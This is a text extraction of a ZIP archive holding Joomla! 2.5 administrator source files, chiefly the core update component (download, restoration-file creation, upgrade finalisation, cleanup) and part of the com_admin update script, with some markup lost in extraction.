$update_site->last_check_timestamp = 0; $update_site->location = $updateURL; $db->updateObject('#__update_sites', $update_site, 'update_site_id'); // Remove cached updates $query = $db->getQuery(true) ->delete($db->nq('#__updates')) ->where($db->nq('extension_id').' = '.$db->q('700')); $db->setQuery($query); $db->query(); } } /** * Makes sure that the Joomla! update cache is up-to-date * * @param bool $force Force reload, ignoring the cache timeout * * @return void * * @since 2.5.4 */ public function refreshUpdates($force = false) { if ($force) { $cache_timeout = 0; } else { $update_params = JComponentHelper::getParams('com_installer'); $cache_timeout = $update_params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; } $updater = JUpdater::getInstance(); $results = $updater->findUpdates(700, $cache_timeout); } /** * Returns an array with the Joomla! update information * * @return array * * @since 2.5.4 */ public function getUpdateInformation() { // Initialise the return array $ret = array( 'installed' => JVERSION, 'latest' => null, 'object' => null ); // Fetch the update information from the database $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->nq('#__updates')) ->where($db->nq('extension_id') . ' = ' . $db->q(700)); $db->setQuery($query); $updateObject = $db->loadObject(); if (is_null($updateObject)) { $ret['latest'] = JVERSION; return $ret; } else { $ret['latest'] = $updateObject->version; } // Fetch the full udpate details from the update details URL jimport('joomla.updater.update'); $update = new JUpdate; $update->loadFromXML($updateObject->detailsurl); // Pass the update object if($ret['latest'] == JVERSION) { $ret['object'] = null; } else { $ret['object'] = $update; } return $ret; } /** * Returns an array with the configured FTP options * * @return array * * @since 2.5.4 */ public function getFTPOptions() { $config = JFactory::getConfig(); return array( 'host' => $config->get('ftp_host'), 'port' => $config->get('ftp_port'), 'username' => $config->get('ftp_user'), 'password' => $config->get('ftp_pass'), 'directory' => $config->get('ftp_root'), 'enabled' => $config->get('ftp_enable'), ); } /** * Downloads the update package to the site * * @return bool|string False on failure, basename of the file in any other case * * @since 2.5.4 */ public function download() { $updateInfo = $this->getUpdateInformation(); $packageURL = $updateInfo['object']->downloadurl->_data; $basename = basename($packageURL); // Find the path to the temp directory and the local package $jreg = JFactory::getConfig(); $tempdir = $jreg->getValue('config.tmp_path'); $target = $tempdir . '/' . $basename; // Do we have a cached file? jimport('joomla.filesystem.file'); $exists = JFile::exists($target); if (!$exists) { // Not there, let's fetch it return $this->downloadPackage($packageURL, $target); } else { // Is it a 0-byte file? If so, re-download please. $filesize = @filesize($target); if(empty($filesize)) return $this->downloadPackage($packageURL, $target); // Yes, it's there, skip downloading return $basename; } } /** * Downloads a package file to a specific directory * * @param string $url The URL to download from * @param string $target The directory to store the file * * @return boolean True on success * * @since 2.5.4 */ protected function downloadPackage($url, $target) { JLoader::import('helpers.download', JPATH_COMPONENT_ADMINISTRATOR); $result = AdmintoolsHelperDownload::download($url, $target); if(!$result) { return false; } else { return basename($target); } } /** * @since 2.5.4 */ public function createRestorationFile($basename = null) { // Get a password jimport('joomla.user.helper'); $password = JUserHelper::genRandomPassword(32); JFactory::getApplication()->setUserState('com_joomlaupdate.password', $password); // Do we have to use FTP? $method = JRequest::getCmd('method', 'direct'); // Get the absolute path to site's root $siteroot = JPATH_SITE; // If the package name is not specified, get it from the update info if (empty($basename)) { $updateInfo = $this->getUpdateInformation(); $packageURL = $updateInfo['object']->downloadurl->_data; $basename = basename($packageURL); } // Get the package name $tempdir = JFactory::getConfig()->getValue('config.tmp_path'); $file = $tempdir . '/' . $basename; $filesize = @filesize($file); JFactory::getApplication()->setUserState('com_joomlaupdate.password', $password); JFactory::getApplication()->setUserState('com_joomlaupdate.filesize', $filesize); $data = " '$password', 'kickstart.tuning.max_exec_time' => '5', 'kickstart.tuning.run_time_bias' => '75', 'kickstart.tuning.min_exec_time' => '0', 'kickstart.procengine' => '$method', 'kickstart.setup.sourcefile' => '$file', 'kickstart.setup.destdir' => '$siteroot', 'kickstart.setup.restoreperms' => '0', 'kickstart.setup.filetype' => 'zip', 'kickstart.setup.dryrun' => '0' ENDDATA; if ($method == 'ftp') { // Fetch the FTP parameters from the request. Note: The password should be // allowed as raw mode, otherwise something like !@43H% would be // sanitised to !@43H% which is just plain wrong. $ftp_host = JRequest::getVar('ftp_host',''); $ftp_port = JRequest::getVar('ftp_port', '21'); $ftp_user = JRequest::getVar('ftp_user', ''); $ftp_pass = JRequest::getVar('ftp_pass', '', 'default', 'none', 2); $ftp_root = JRequest::getVar('ftp_root', ''); // Is the tempdir really writable? $writable = @is_writeable($tempdir); if($writable) { // Let's be REALLY sure $fp = @fopen($tempdir.'/test.txt','w'); if($fp === false) { $writable = false; } else { fclose($fp); unlink($tempdir.'/test.txt'); } } // If the tempdir is not writable, create a new writable subdirectory if(!$writable) { jimport('joomla.client.ftp'); jimport('joomla.client.helper'); jimport('joomla.filesystem.folder'); $FTPOptions = JClientHelper::getCredentials('ftp'); $ftp = & JFTP::getInstance($FTPOptions['host'], $FTPOptions['port'], null, $FTPOptions['user'], $FTPOptions['pass']); $dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir.'/admintools'), '/'); if(!@mkdir($tempdir.'/admintools')) $ftp->mkdir($dest); if(!@chmod($tempdir.'/admintools', 511)) $ftp->chmod($dest, 511); $tempdir .= '/admintools'; } // Just in case the temp-directory was off-root, try using the default tmp directory $writable = @is_writeable($tempdir); if(!$writable) { $tempdir = JPATH_ROOT.'/tmp'; // Does the JPATH_ROOT/tmp directory exist? if(!is_dir($tempdir)) { jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); JFolder::create($tempdir, 511); JFile::write($tempdir.'/.htaccess',"order deny, allow\ndeny from all\nallow from none\n"); } // If it exists and it is unwritable, try creating a writable admintools subdirectory if(!is_writable($tempdir)) { jimport('joomla.client.ftp'); jimport('joomla.client.helper'); jimport('joomla.filesystem.folder'); $FTPOptions = JClientHelper::getCredentials('ftp'); $ftp = & JFTP::getInstance($FTPOptions['host'], $FTPOptions['port'], null, $FTPOptions['user'], $FTPOptions['pass']); $dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir.'/admintools'), '/'); if(!@mkdir($tempdir.'/admintools')) $ftp->mkdir($dest); if(!@chmod($tempdir.'/admintools', 511)) $ftp->chmod($dest, 511); $tempdir .= '/admintools'; } } // If we still have no writable directory, we'll try /tmp and the system's temp-directory $writable = @is_writeable($tempdir); if(!$writable) { if(@is_dir('/tmp') && @is_writable('/tmp')) { $tempdir = '/tmp'; } else { // Try to find the system temp path $tmpfile = @tempnam("dummy",""); $systemp = @dirname($tmpfile); @unlink($tmpfile); if(!empty($systemp)) { if(@is_dir($systemp) && @is_writable($systemp)) { $tempdir = $systemp; } } } } $data.=<< '0', 'kickstart.ftp.passive' => '1', 'kickstart.ftp.host' => '$ftp_host', 'kickstart.ftp.port' => '$ftp_port', 'kickstart.ftp.user' => '$ftp_user', 'kickstart.ftp.pass' => '$ftp_pass', 'kickstart.ftp.dir' => '$ftp_root', 'kickstart.ftp.tempdir' => '$tempdir' ENDDATA; } $data .= ');'; // Remove the old file, if it's there... jimport('joomla.filesystem.file'); $configpath = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php'; if( JFile::exists($configpath) ) { JFile::delete($configpath); } // Write new file. First try with JFile. $result = JFile::write( $configpath, $data ); // In case JFile used FTP but direct access could help if(!$result) { if(function_exists('file_put_contents')) { $result = @file_put_contents($configpath, $data); if($result !== false) $result = true; } else { $fp = @fopen($configpath, 'wt'); if($fp !== false) { $result = @fwrite($fp, $data); if($result !== false) $result = true; @fclose($fp); } } } return $result; } /** * Runs the schema update SQL files, the PHP update script and updates the * manifest cache and #__extensions entry. Essentially, it is identical to * JInstallerFile::install() without the file copy. * * @return boolean True on success * * @since 2.5.4 */ public function finaliseUpgrade() { jimport('joomla.installer.install'); $installer = JInstaller::getInstance(); $installer->setPath('source', JPATH_ROOT); $installer->setPath('extension_root', JPATH_ROOT); if (!$installer->setupInstall()) { $installer->abort(JText::_('JLIB_INSTALLER_ABORT_DETECTMANIFEST')); return false; } $installer->extension = JTable::getInstance('extension'); $installer->extension->load(700); $installer->setAdapter($installer->extension->type); $manifest = $installer->getManifest(); $manifestPath = JPath::clean($installer->getPath('manifest')); $element = preg_replace('/\.xml/', '', basename($manifestPath)); // Run the script file $scriptElement = $manifest->scriptfile; $manifestScript = (string) $manifest->scriptfile; if ($manifestScript) { $manifestScriptFile = JPATH_ROOT . '/' . $manifestScript; if (is_file($manifestScriptFile)) { // load the file include_once $manifestScriptFile; } $classname = 'JoomlaInstallerScript'; if (class_exists($classname)) { $manifestClass = new $classname($this); } } ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'preflight')) { if ($manifestClass->preflight('update', $this) === false) { $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE')); return false; } } $msg = ob_get_contents(); // create msg object; first use here ob_end_clean(); // Get a database connector object $db = JFactory::getDbo(); // Check to see if a file extension by the same name is already installed // If it is, then update the table because if the files aren't there // we can assume that it was (badly) uninstalled // If it isn't, add an entry to extensions $query = $db->getQuery(true); $query->select($query->qn('extension_id')) ->from($query->qn('#__extensions')); $query->where($query->qn('type') . ' = ' . $query->q('file')) ->where($query->qn('element') . ' = ' . $query->q('joomla')); $db->setQuery($query); try { $db->Query(); } catch (RuntimeException $e) { // Install failed, roll back changes $installer->abort( JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $db->stderr(true)) ); return false; } $id = $db->loadResult(); $row = JTable::getInstance('extension'); if ($id) { // Load the entry and update the manifest_cache $row->load($id); // Update name $row->set('name', 'files_joomla'); // Update manifest $row->manifest_cache = $installer->generateManifestCache(); if (!$row->store()) { // Install failed, roll back changes $installer->abort( JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $db->stderr(true)) ); return false; } } else { // Add an entry to the extension table with a whole heap of defaults $row->set('name', 'files_joomla'); $row->set('type', 'file'); $row->set('element', 'joomla'); // There is no folder for files so leave it blank $row->set('folder', ''); $row->set('enabled', 1); $row->set('protected', 0); $row->set('access', 0); $row->set('client_id', 0); $row->set('params', ''); $row->set('system_data', ''); $row->set('manifest_cache', $installer->generateManifestCache()); if (!$row->store()) { // Install failed, roll back changes $installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK', $db->stderr(true))); return false; } // Set the insert id $row->set('extension_id', $db->insertid()); // Since we have created a module item, we add it to the installation step stack // so that if we have to rollback the changes we can undo it. $installer->pushStep(array('type' => 'extension', 'extension_id' => $row->extension_id)); } /* * Let's run the queries for the file */ if ($manifest->update) { $result = $installer->parseSchemaUpdates($manifest->update->schemas, $row->extension_id); if ($result === false) { // Install failed, rollback changes $installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR', $db->stderr(true))); return false; } } // Start Joomla! 1.6 ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'update')) { if ($manifestClass->update($installer) === false) { // Install failed, rollback changes $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE')); return false; } } $msg .= ob_get_contents(); // append messages ob_end_clean(); // Lastly, we will copy the manifest file to its appropriate place. $manifest = array(); $manifest['src'] = $installer->getPath('manifest'); $manifest['dest'] = JPATH_MANIFESTS . '/files/' . basename($installer->getPath('manifest')); if (!$installer->copyFiles(array($manifest), true)) { // Install failed, rollback changes $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP')); return false; } // Clobber any possible pending updates $update = JTable::getInstance('update'); $uid = $update->find( array('element' => $element, 'type' => 'file', 'client_id' => '', 'folder' => '') ); if ($uid) { $update->delete($uid); } // And now we run the postflight ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'postflight')) { $manifestClass->postflight('update', $this); } $msg .= ob_get_contents(); // append messages ob_end_clean(); if ($msg != '') { $installer->set('extension_message', $msg); } return true; } /** * Removes the extracted package file * * @return void * * @since 2.5.4 */ public function cleanUp() { jimport('joomla.filesystem.file'); // Remove the update package $jreg = JFactory::getConfig(); $tempdir = $jreg->getValue('config.tmp_path'); $file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null); $target = $tempdir.'/'.$file; if (!@unlink($target)) { jimport('joomla.filesystem.file'); JFile::delete($target); } // Remove the restoration.php file $target = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php'; if (!@unlink($target)) { JFile::delete($target); } // Remove joomla.xml from the site's root $target = JPATH_ROOT . '/joomla.xml'; if (!@unlink($target)) { JFile::delete($target); } // Unset the update filename from the session JFactory::getApplication()->setUserState('com_joomlaupdate.file', null); } } PKs>\*Axx)com_joomlaupdate/helpers/joomlaupdate.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\)"com_joomlaupdate/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\bj}B$B$%com_joomlaupdate/helpers/download.phpnuW+A 0777) ) { $mode = 0755; } } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass'] ); } if (@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } } PKs>\V#com_joomlaupdate/helpers/index.htmlnuW+A PKs>\8GG#com_joomlaupdate/helpers/select.phpnuW+A\wW!com_joomlaupdate/joomlaupdate.xmlnuW+A com_joomlaupdate Joomla! Project February 2012 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_JOOMLAUPDATE_XML_DESCRIPTION config.xml controller.php index.html joomlaupdate.php restore.php controllers helpers models views language/en-GB.com_joomlaupdate.ini PKs>\yJJ!com_joomlaupdate/joomlaupdate.phpnuW+Aauthorise('core.manage', 'com_joomlaupdate')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Joomlaupdate'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\com_joomlaupdate/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Get the model for the view. $model = $this->getModel($vName); // Perform update source preference check and refresh update information $model->applyUpdateSite(); $model->refreshUpdates(); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } return $this; } } PKs>\)&com_joomlaupdate/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_joomlaupdate/controllers/index.htmlnuW+A PKs>\8'com_joomlaupdate/controllers/update.phpnuW+A_applyCredentials(); $model = $this->getModel('Default'); $file = $model->download(); $message = null; $messageType = null; if ($file) { JFactory::getApplication()->setUserState('com_joomlaupdate.file', $file); $url = 'index.php?option=com_joomlaupdate&task=update.install'; } else { JFactory::getApplication()->setUserState('com_joomlaupdate.file', null); $url = 'index.php?option=com_joomlaupdate'; $message = JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED'); } $this->setRedirect($url, $message, $messageType); } /** * Start the installation of the new Joomla! version * * @return void * * @since 2.5.4 */ public function install() { $this->_applyCredentials(); $model = $this->getModel('Default'); $file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null); $model->createRestorationFile($file); $this->display(); } /** * Finalise the upgrade by running the necessary scripts * * @return void * * @since 2.5.4 */ public function finalise() { $this->_applyCredentials(); $model = $this->getModel('Default'); $model->finaliseUpgrade(); $url = 'index.php?option=com_joomlaupdate&task=update.cleanup'; $this->setRedirect($url); } /** * Clean up after ourselves * * @return void * * @since 2.5.4 */ public function cleanup() { $this->_applyCredentials(); $model = $this->getModel('Default'); $model->cleanUp(); $url = 'index.php?option=com_joomlaupdate&layout=complete'; $this->setRedirect($url); } /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * * @since 2.5.4 */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); // Set the default view name and format from the Request. $vName = JRequest::getCmd('view', 'update'); $vFormat = $document->getType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel('Default'); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } return $this; } /** * Applies FTP credentials to Joomla! itself, when required * * @return void * * @since 2.5.4 */ protected function _applyCredentials() { jimport('joomla.client.helper'); if (!JClientHelper::hasCredentials('ftp')) { $user = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_user', 'ftp_user', null, 'raw'); $pass = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_pass', 'ftp_pass', null, 'raw'); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials('ftp', $user, $pass)) { $return = false; } else { $return = JError::raiseWarning('SOME_ERROR_CODE', JText::_('JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED')); } } } } }PKs>\C49com_joomlaupdate/access.xmlnuW+A
      PKs>\x6com_joomlaupdate/config.xmlnuW+A
      PKs>\V-com_joomlaupdate/views/update/tmpl/index.htmlnuW+A PKs>\),com_joomlaupdate/views/update/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\alPȧ.com_joomlaupdate/views/update/tmpl/default.phpnuW+A

      'progress', 'id' => 'progress'), true); ?>
      PKs>\/+com_joomlaupdate/views/update/view.html.phpnuW+AgetUserState('com_joomlaupdate.password', null); $filesize = JFactory::getApplication()->getUserState('com_joomlaupdate.filesize', null); $ajaxUrl = JURI::base().'components/com_joomlaupdate/restore.php'; $returnUrl = 'index.php?option=com_joomlaupdate&task=update.finalise'; // Set the toolbar information JToolBarHelper::title(JText::_('COM_JOOMLAUPDATE_OVERVIEW'), 'install'); // Add toolbar buttons if (JFactory::getUser()->authorise('core.admin', 'com_joomlaupdate')) { JToolbarHelper::preferences('com_joomlaupdate'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_JOOMLA_UPDATE'); // Load mooTools JHtml::_('behavior.framework', true); $updateScript = <<addScript('../media/com_joomlaupdate/json2.js'); $document->addScript('../media/com_joomlaupdate/encryption.js'); $document->addScript('../media/com_joomlaupdate/update.js'); JHtml::_('script', 'system/progressbar.js', true, true); JHtml::_('stylesheet', 'media/mediamanager.css', array(), true); $document->addScriptDeclaration($updateScript); // Render the view parent::display($tpl); } } PKs>\V(com_joomlaupdate/views/update/index.htmlnuW+A PKs>\)'com_joomlaupdate/views/update/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_joomlaupdate/views/index.htmlnuW+A PKs>\Q{/com_joomlaupdate/views/default/tmpl/default.phpnuW+Aftp['enabled'] ? '' : 'style = "display: none"'; ?> updateInfo['object'])): ?>

      updateInfo['object']->downloadurl->_data)): ?>

      updateInfo['latest'], $this->updateInfo['latest']); ?>

      > > > > >
      updateInfo['installed'] ?>
      updateInfo['latest'] ?>
      updateInfo['object']->downloadurl->_data ?>
      methodSelect ?>
       
      ', '', $output); $this->php_info = $output; } return $this->php_info; } /** * method to get the directory states * * @return array states of directories */ public function getDirectory() { if (is_null($this->directories)) { $this->directories = array(); $registry = JFactory::getConfig(); jimport('joomla.filesystem.folder'); $cparams = JComponentHelper::getParams('com_media'); $this->_addDirectory('administrator/components', JPATH_ADMINISTRATOR.'/components'); $this->_addDirectory('administrator/language', JPATH_ADMINISTRATOR.'/language'); // List all admin languages $admin_langs = JFolder::folders(JPATH_ADMINISTRATOR.'/language'); foreach($admin_langs as $alang) { $this->_addDirectory('administrator/language/' . $alang, JPATH_ADMINISTRATOR.'/language/'.$alang); } // List all manifests folders $manifests = JFolder::folders(JPATH_ADMINISTRATOR.'/manifests'); foreach($manifests as $_manifest) { $this->_addDirectory('administrator/manifests/' . $_manifest, JPATH_ADMINISTRATOR.'/manifests/'.$_manifest); } $this->_addDirectory('administrator/modules', JPATH_ADMINISTRATOR.'/modules'); $this->_addDirectory('administrator/templates', JPATH_THEMES); $this->_addDirectory('components', JPATH_SITE.'/components'); $this->_addDirectory($cparams->get('image_path'), JPATH_SITE.'/'.$cparams->get('image_path')); $image_folders = JFolder::folders(JPATH_SITE.'/'.$cparams->get('image_path')); // List all images folders foreach ($image_folders as $folder) { $this->_addDirectory('images/' . $folder, JPATH_SITE.'/'.$cparams->get('image_path').'/'.$folder); } $this->_addDirectory('language', JPATH_SITE.'/language'); // List all site languages $site_langs = JFolder::folders(JPATH_SITE . '/language'); foreach ($site_langs as $slang) { $this->_addDirectory('language/' . $slang, JPATH_SITE.'/language/'.$slang); } $this->_addDirectory('libraries', JPATH_LIBRARIES); $this->_addDirectory('media', JPATH_SITE.'/media'); $this->_addDirectory('modules', JPATH_SITE.'/modules'); $this->_addDirectory('plugins', JPATH_PLUGINS); $plugin_groups = JFolder::folders(JPATH_PLUGINS); foreach ($plugin_groups as $folder) { $this->_addDirectory('plugins/' . $folder, JPATH_PLUGINS.'/'.$folder); } $this->_addDirectory('templates', JPATH_SITE.'/templates'); $this->_addDirectory('configuration.php', JPATH_CONFIGURATION.'/configuration.php'); $this->_addDirectory('cache', JPATH_SITE.'/cache', 'COM_ADMIN_CACHE_DIRECTORY'); $this->_addDirectory('administrator/cache', JPATH_CACHE, 'COM_ADMIN_CACHE_DIRECTORY'); $this->_addDirectory($registry->get('log_path', JPATH_ROOT . '/log'), $registry->get('log_path', JPATH_ROOT.'/log'), 'COM_ADMIN_LOG_DIRECTORY'); $this->_addDirectory($registry->get('tmp_path', JPATH_ROOT . '/tmp'), $registry->get('tmp_path', JPATH_ROOT.'/tmp'), 'COM_ADMIN_TEMP_DIRECTORY'); } return $this->directories; } private function _addDirectory($name, $path, $message = '') { $this->directories[$name] = array('writable' => is_writable($path), 'message' => $message); } /** * method to get the editor * * @return string the default editor * * has to be removed (it is present in the config...) */ function &getEditor() { if (is_null($this->editor)) { $config = JFactory::getConfig(); $this->editor = $config->get('editor'); } return $this->editor; } } PKs>\cpEpEcom_admin/script.phpnuW+AgetQuery(true); $query->select('version_id'); $query->from('#__schemas'); $query->where('extension_id=700'); $db->setQuery($query); if (!$db->loadResult()) { $query = $db->getQuery(true); $query->insert('#__schemas'); $query->set('extension_id=700, version_id='.$db->quote('1.6.0-2011-01-10')); $db->setQuery($query); $db->query(); } return true; } /** * method to update Joomla! * * @param JInstallerFile $installer The class calling this method * * @return void */ function update($installer) { $this->deleteUnexistingFiles(); $this->updateManifestCaches(); $this->updateDatabase(); } protected function updateDatabase() { $db = JFactory::getDbo(); if (substr($db->name, 0, 5) == 'mysql') { $query = 'SHOW ENGINES'; $db->setQuery($query); $results = $db->loadObjectList(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } foreach ($results as $result) { if ($result->Support=='DEFAULT') { $query = 'ALTER TABLE #__update_sites_extensions ENGINE = ' . $result->Engine; $db->setQuery($query); $db->query(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } break; } } } } protected function updateManifestCaches() { // TODO Remove this for 2.5 if (!JTable::getInstance('Extension')->load(array('element'=> 'pkg_joomla', 'type'=>'package'))) { // Create the package pkg_joomla $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->insert('#__extensions'); $query->columns(array($db->quoteName('name'), $db->quoteName('type'), $db->quoteName('element'), $db->quoteName('enabled'), $db->quoteName('access'), $db->quoteName('protected'))); $query->values($db->quote('joomla'). ', '. $db->quote('package').', '.$db->quote('pkg_joomla') . ', 1, 1, 1'); $db->setQuery($query); $db->query(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } } // TODO Remove this for 2.5 $table = JTable::getInstance('Extension'); if ($table->load(array('element'=> 'mod_online', 'type'=>'module', 'client_id'=>1))) { if (!file_exists(JPATH_ADMINISTRATOR . '/modules/mod_online')) { // Delete this extension if (!$table->delete()) { echo $table->getError().'
      '; return; } } else { // Mark this extension as unprotected $table->protected = 0; if (!$table->store()) { echo $table->getError().'
      '; return; } } } // TODO Remove this for 2.5 $table = JTable::getInstance('Extension'); if ($table->load(array('element'=> 'mod_unread', 'type'=>'module', 'client_id'=>1))) { if (!file_exists(JPATH_ADMINISTRATOR . '/modules/mod_unread')) { // Delete this extension if (!$table->delete()) { echo $table->getError().'
      '; return; } } else { // Mark this extension as unprotected $table->protected = 0; if (!$table->store()) { echo $table->getError().'
      '; return; } } } $extensions = array(); // Components //`type`, `element`, `folder`, `client_id` $extensions[] = array('component', 'com_mailto', '', 0); $extensions[] = array('component', 'com_wrapper', '', 0); $extensions[] = array('component', 'com_admin', '', 1); $extensions[] = array('component', 'com_banners', '', 1); $extensions[] = array('component', 'com_cache', '', 1); $extensions[] = array('component', 'com_categories', '', 1); $extensions[] = array('component', 'com_checkin', '', 1); $extensions[] = array('component', 'com_contact', '', 1); $extensions[] = array('component', 'com_cpanel', '', 1); $extensions[] = array('component', 'com_installer', '', 1); $extensions[] = array('component', 'com_languages', '', 1); $extensions[] = array('component', 'com_login', '', 1); $extensions[] = array('component', 'com_media', '', 1); $extensions[] = array('component', 'com_menus', '', 1); $extensions[] = array('component', 'com_messages', '', 1); $extensions[] = array('component', 'com_modules', '', 1); $extensions[] = array('component', 'com_newsfeeds', '', 1); $extensions[] = array('component', 'com_plugins', '', 1); $extensions[] = array('component', 'com_search', '', 1); $extensions[] = array('component', 'com_templates', '', 1); $extensions[] = array('component', 'com_weblinks', '', 1); $extensions[] = array('component', 'com_content', '', 1); $extensions[] = array('component', 'com_config', '', 1); $extensions[] = array('component', 'com_redirect', '', 1); $extensions[] = array('component', 'com_users', '', 1); // Libraries $extensions[] = array('library', 'phpmailer', '', 0); $extensions[] = array('library', 'simplepie', '', 0); $extensions[] = array('library', 'phputf8', '', 0); $extensions[] = array('library', 'joomla', '', 0); $extensions[] = array('library', 'cms', '', 0); // Modules site // Site $extensions[] = array('module', 'mod_articles_archive', '', 0); $extensions[] = array('module', 'mod_articles_latest', '', 0); $extensions[] = array('module', 'mod_articles_popular', '', 0); $extensions[] = array('module', 'mod_banners', '', 0); $extensions[] = array('module', 'mod_breadcrumbs', '', 0); $extensions[] = array('module', 'mod_custom', '', 0); $extensions[] = array('module', 'mod_feed', '', 0); $extensions[] = array('module', 'mod_footer', '', 0); $extensions[] = array('module', 'mod_login', '', 0); $extensions[] = array('module', 'mod_menu', '', 0); $extensions[] = array('module', 'mod_articles_news', '', 0); $extensions[] = array('module', 'mod_random_image', '', 0); $extensions[] = array('module', 'mod_related_items', '', 0); $extensions[] = array('module', 'mod_search', '', 0); $extensions[] = array('module', 'mod_stats', '', 0); $extensions[] = array('module', 'mod_syndicate', '', 0); $extensions[] = array('module', 'mod_users_latest', '', 0); $extensions[] = array('module', 'mod_weblinks', '', 0); $extensions[] = array('module', 'mod_whosonline', '', 0); $extensions[] = array('module', 'mod_wrapper', '', 0); $extensions[] = array('module', 'mod_articles_category', '', 0); $extensions[] = array('module', 'mod_articles_categories', '', 0); $extensions[] = array('module', 'mod_languages', '', 0); // Administrator $extensions[] = array('module', 'mod_custom', '', 1); $extensions[] = array('module', 'mod_feed', '', 1); $extensions[] = array('module', 'mod_latest', '', 1); $extensions[] = array('module', 'mod_logged', '', 1); $extensions[] = array('module', 'mod_login', '', 1); $extensions[] = array('module', 'mod_menu', '', 1); $extensions[] = array('module', 'mod_popular', '', 1); $extensions[] = array('module', 'mod_quickicon', '', 1); $extensions[] = array('module', 'mod_status', '', 1); $extensions[] = array('module', 'mod_submenu', '', 1); $extensions[] = array('module', 'mod_title', '', 1); $extensions[] = array('module', 'mod_toolbar', '', 1); $extensions[] = array('module', 'mod_multilangstatus', '', 1); // Plug-ins $extensions[] = array('plugin', 'gmail', 'authentication', 0); $extensions[] = array('plugin', 'joomla', 'authentication', 0); $extensions[] = array('plugin', 'ldap', 'authentication', 0); $extensions[] = array('plugin', 'emailcloak', 'content', 0); $extensions[] = array('plugin', 'geshi', 'content', 0); $extensions[] = array('plugin', 'loadmodule', 'content', 0); $extensions[] = array('plugin', 'pagebreak', 'content', 0); $extensions[] = array('plugin', 'pagenavigation', 'content', 0); $extensions[] = array('plugin', 'vote', 'content', 0); $extensions[] = array('plugin', 'codemirror', 'editors', 0); $extensions[] = array('plugin', 'none', 'editors', 0); $extensions[] = array('plugin', 'tinymce', 'editors', 0); $extensions[] = array('plugin', 'article', 'editors-xtd', 0); $extensions[] = array('plugin', 'image', 'editors-xtd', 0); $extensions[] = array('plugin', 'pagebreak', 'editors-xtd', 0); $extensions[] = array('plugin', 'readmore', 'editors-xtd', 0); $extensions[] = array('plugin', 'categories', 